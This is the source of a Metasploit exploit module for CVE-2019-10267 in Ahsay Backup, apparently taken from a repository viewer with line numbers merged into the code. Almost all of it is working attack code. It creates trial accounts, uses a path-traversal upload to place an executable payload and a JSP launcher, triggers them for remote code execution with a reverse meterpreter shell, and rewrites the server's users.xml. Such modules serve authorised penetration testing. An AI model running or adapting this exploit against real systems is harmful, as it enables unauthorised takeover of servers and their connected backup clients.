Path: blob/master/modules/exploits/windows/misc/ahsay_backup_fileupload.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking7include Msf::Exploit::Remote::HttpClient8include Msf::Exploit::EXE9include Msf::Exploit::FileDropper10include REXML1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Ahsay Backup v7.x-v8.1.1.50 (authenticated) file upload',17'Description' => %q{18This module exploits an authenticated insecure file upload and code19execution flaw in Ahsay Backup v7.x - v8.1.1.50. To succesfully execute20the upload credentials are needed, default on Ahsay Backup trial21accounts are enabled so an account can be created.2223It can be exploited in Windows and Linux environments to get remote code24execution (usualy as SYSTEM). This module has been tested successfully25on Ahsay Backup v8.1.1.50 with Windows 2003 SP2 Server. Because of this26flaw all connected clients can be configured to execute a command before27the backup starts. Allowing an attacker to takeover even more systems28and make it rain shells!2930Setting the CREATEACCOUNT to true will create a new account, this is31enabled by default.32If credeantials are known enter these and run the exploit.33},34'Author' => [35'Wietse Boonstra'36],37'License' => MSF_LICENSE,38'References' => [39[ 'CVE', '2019-10267'],40[ 'URL', 'https://www.wbsec.nl/ahsay/' ],41[ 'URL', 'http://ahsay-dn.ahsay.com/v8/81150/cbs-win.exe' ]42],43'Privileged' => true,44'Platform' => 'win',45'DefaultOptions' => {46'RPORT' => 443,47'SSL' => true,48'PAYLOAD' => 'windows/meterpreter/reverse_tcp'49},50'Targets' => [51[52'Windows x86',53{54'Arch' => ARCH_X86,55'Platform' => 'win'56}57],58[59'Linux x86', # should work but untested60{61'Arch' => ARCH_X86,62'Platform' => 'linux'63},64],6566],67'DefaultTarget' => 0,68'DisclosureDate' => '2019-06-01',69'Notes' => {70'Reliability' => UNKNOWN_RELIABILITY,71'Stability' => UNKNOWN_STABILITY,72'SideEffects' => UNKNOWN_SIDE_EFFECTS73}74)75)7677register_options(78[79Opt::RPORT(443),80OptString.new('TARGETURI', [true, 'Path to Ahsay', '/']),81OptString.new('USERNAME', [true, 'Username for the (new) account', Rex::Text.rand_text_alphanumeric(8)]),82OptString.new('PASSWORD', [true, 'Password for the (new) account', Rex::Text.rand_text_alpha(8) + Rex::Text.rand_text_numeric(5) + Rex::Text.rand_char("", "!$%^&*")]),83OptString.new('CREATEACCOUNT', [false, 'Create Trial account', 'false']),84OptString.new('UPLOADPATH', [false, 'Payload Path', '../../webapps/cbs/help/en']),8586]87)88end8990def is_trial_enabled?91res = send_request_cgi({92'uri' => normalize_uri(target_uri.path, 'obs', 'obm7', 'user', 'isTrialEnabled'),93'method' => 'POST',94'data' => ''95})96if res and res.code == 200 and "ENABLED" =~ /#{res.body}/97return true98else99return false100end101end102103def check_account?104headers = create_request_headers105res = send_request_cgi({106'uri' => normalize_uri(target_uri.path, 'obs', 'obm7', 'user', 'getUserProfile'),107'method' => 'POST',108'data' => '',109'headers' => headers110})111if res and res.code == 200112print_good("Username and password are valid!")113return true114elsif res and res.code == 500 and "USER_NOT_EXIST" =~ /#{res.body}/115# fail_with(Failure::NoAccess, 'Username incorrect!')116print_status("Username does not exist.")117return false118elsif res and res.code == 500 and "PASSWORD_INCORRECT" =~ /#{res.body}/119# fail_with(Failure::NoAccess, 'Username exists but password incorrect!')120print_status("Username exists but password incorrect!")121return false122else123return false124end125end126127def create_request_headers128headers = {}129username = Rex::Text.encode_base64(datastore['USERNAME'])130password = Rex::Text.encode_base64(datastore['PASSWORD'])131headers['X-RSW-custom-encode-username'] = username132headers['X-RSW-custom-encode-password'] = password133headers134end135136def exploit137username = datastore['USERNAME']138password = datastore['PASSWORD']139140if is_trial_enabled? and datastore['CREATEACCOUNT'] == "true"141if username == "" or password == ""142fail_with(Failure::NoAccess, 'Please set a username and password')143else144# check if account does not exist?145if !check_account?146# Create account and check if it is valid147if create_account?148drop_and_execute()149else150fail_with(Failure::NoAccess, 'Failed to authenticate')151end152else153# Need to fix, check if account exist154print_good("No need to create account, already exists!")155drop_and_execute()156end157end158elsif username != "" and password != ""159if check_account?160drop_and_execute()161else162if is_trial_enabled?163fail_with(Failure::NoAccess, 'Username and password are invalid. But server supports trial accounts, you can create an account!')164end165fail_with(Failure::NoAccess, 'Username and password are invalid')166end167else168fail_with(Failure::UnexpectedReply, 'Missing some settings')169end170end171172def create_account?173headers = create_request_headers174res = send_request_cgi({175'uri' => normalize_uri(target_uri.path, 'obs', 'obm7', 'user', 'addTrialUser'),176'method' => 'POST',177'data' => '',178'headers' => headers179})180# print (res.body)181if res and res.code == 200182print_good("Account created")183return true184elsif res.body.include?('LOGIN_NAME_IS_USED')185fail_with(Failure::NoAccess, 'Username is in use!')186elsif res.body.include?('PWD_COMPLEXITY_FAILURE')187fail_with(Failure::NoAccess, 'Password not complex enough')188else189fail_with(Failure::UnexpectedReply, 'Something went wrong!')190end191end192193def remove_account194if datastore['CREATEACCOUNT']195username = datastore['USERNAME']196users_xml = "../../conf/users.xml"197print_status("Looking for account #{username} in #{users_xml}")198xml_doc = download(users_xml)199xmldoc = Document.new(xml_doc)200el = 0201xmldoc.elements.each("Setting/Key") do |e|202el = el + 1203e.elements.each("Value") do |a|204if a.attributes["name"].include?('name')205if a.attributes["data"].include?(username)206print_good("Found account")207xmldoc.root.elements.delete el208print_status("Removed account")209end210end211end212end213new_xml = xmldoc.root214print_status("Uploading new #{users_xml} file")215upload(users_xml, new_xml.to_s)216print_good("Account is inaccesible when service restarts!")217end218end219220def prepare_path(path)221if path.end_with? '/'222path = path.chomp('/')223end224path225end226227def drop_and_execute()228path = prepare_path(datastore['UPLOADPATH'])229exploitpath = path.gsub("../../webapps/cbs/", '')230exploitpath = exploitpath.gsub("/", "\\\\\\")231requestpath = path.gsub("../../webapps/", '')232233# First stage payload creation and upload234exe = payload.encoded_exe235exe_filename = Rex::Text.rand_text_alpha(10)236exefileLocation = "#{path}/#{exe_filename}.exe"237print_status("Uploading first stage payload.")238upload(exefileLocation, exe)239# ../../webapps/cbs/help/en240exec = %Q{<% Runtime.getRuntime().exec(getServletContext().getRealPath("/") + "#{exploitpath}\\\\#{exe_filename}.exe");%>}241242# Second stage payload creation and upload243jsp_filename = Rex::Text.rand_text_alpha(10)244jspfileLocation = "#{path}/#{jsp_filename}.jsp"245print_status("Uploading second stage payload.")246upload(jspfileLocation, exec)247proto = ssl ? 'https' : 'http'248url = "#{proto}://#{datastore['RHOST']}:#{datastore['RPORT']}" + normalize_uri(target_uri.path, "#{requestpath}/#{jsp_filename}.jsp")249250# Triggering the exploit251print_status("Triggering exploit! #{url}")252res = send_request_cgi({253'uri' => normalize_uri(target_uri.path, "#{requestpath}/#{jsp_filename}.jsp"),254'method' => 'GET'255})256if res and res.code == 200257print_good("Exploit executed!")258end259260# Cleaning up261print_status("Cleaning up after our selfs.")262remove_account263print_status("Trying to remove #{exefileLocation}, but will fail when in use.")264delete(exefileLocation)265delete(jspfileLocation)266delete("../../user/#{datastore['USERNAME']}", true)267end268269def upload(fileLocation, content)270username = Rex::Text.encode_base64(datastore['USERNAME'])271password = Rex::Text.encode_base64(datastore['PASSWORD'])272uploadPath = Rex::Text.encode_base64(fileLocation)273274headers = {}275headers['X-RSW-Request-0'] = username276headers['X-RSW-Request-1'] = password277headers['X-RSW-custom-encode-path'] = uploadPath278res = send_request_raw({279'uri' => normalize_uri(target_uri.path, 'obs', 'obm7', 'file', 'upload'),280'method' => 'PUT',281'headers' => headers,282'data' => content,283'timeout' => 20284})285if res && res.code == 201286print_good("Succesfully uploaded file to #{fileLocation}")287else288fail_with(Failure::Unknown, "#{peer} - Server did not respond in an expected way")289end290end291292def download(fileLocation)293# TODO make vars_get variable294print_status("Downloading file")295username = Rex::Text.encode_base64(datastore['USERNAME'])296password = Rex::Text.encode_base64(datastore['PASSWORD'])297headers = {}298headers['X-RSW-Request-0'] = username299headers['X-RSW-Request-1'] = password300res = send_request_cgi({301# /obs/obm7/file/download?X-RSW-custom-encode-path=../../conf/users.xml302'uri' => normalize_uri(target_uri.path, 'obs', 'obm7', 'file', 'download'),303'method' => 'GET',304'headers' => headers,305'vars_get' => {306'X-RSW-custom-encode-path' => fileLocation307}308})309310if res and res.code == 200311res.body312end313end314315def delete(fileLocation, recursive = false)316print_status("Deleting file #{fileLocation}")317username = Rex::Text.encode_base64(datastore['USERNAME'])318password = Rex::Text.encode_base64(datastore['PASSWORD'])319headers = {}320headers['X-RSW-Request-0'] = username321headers['X-RSW-Request-1'] = password322res = send_request_cgi({323# /obs/obm7/file/delete?X-RSW-custom-encode-path=../../user/xyz324'uri' => normalize_uri(target_uri.path, 'obs', 'obm7', 'file', 'delete'),325'method' => 'DELETE',326'headers' => headers,327'vars_get' => {328'X-RSW-custom-encode-path' => fileLocation,329'recursive' => recursive330}331})332333if res and res.code == 200334res.body335end336end337338def check339# We need a cookie first340cookie_res = send_request_cgi({341# /cbs/system/ShowDownload.do342'uri' => normalize_uri(target_uri.path, 'cbs', 'system', 'ShowDownload.do'),343'method' => 'GET'344})345346if cookie_res and cookie_res.code == 200347cookie = cookie_res.get_cookies.split()[0]348else349return Exploit::CheckCode::Unknown350end351352if defined?(cookie)353# request the page with all the clientside software links.354headers = {}355headers['Cookie'] = cookie356link = send_request_cgi({357# /cbs/system/ShowDownload.do358'uri' => normalize_uri(target_uri.path, 'cbs', 'system', 'download', 'indexTab1.jsp'),359'method' => 'GET',360'headers' => headers361})362363if link and link.code == 200364link.body.each_line do |line|365# looking for the link that contains obm-linux and ends with .sh366if line.include? '<a href="/cbs/download/' and line.include? '.sh' and line.include? 'obm-linux'367filename = line.split("<a")[1].split('"')[1].split("?")[0]368filecontent = send_request_cgi({369# /cbs/system/ShowDownload.do370'uri' => normalize_uri(target_uri.path, filename),371'method' => 'GET',372'headers' => headers373})374if filecontent and filecontent.code == 200375filecontent.body.each_line do |l|376if l.include? 'VERSION="'377number = l.split("=")[1].split('"')[1]378if number.match /(\d+\.)?(\d+\.)?(\d+\.)?(\*|\d+)$/379if number <= '8.1.1.50' and not number < '7'380return Exploit::CheckCode::Appears381else382return Exploit::CheckCode::Safe383end384end385end386end387else388return Exploit::CheckCode::Unknown389end390end391end392else393return Exploit::CheckCode::Unknown394end395else396return Exploit::CheckCode::Unknown397end398end399end400401402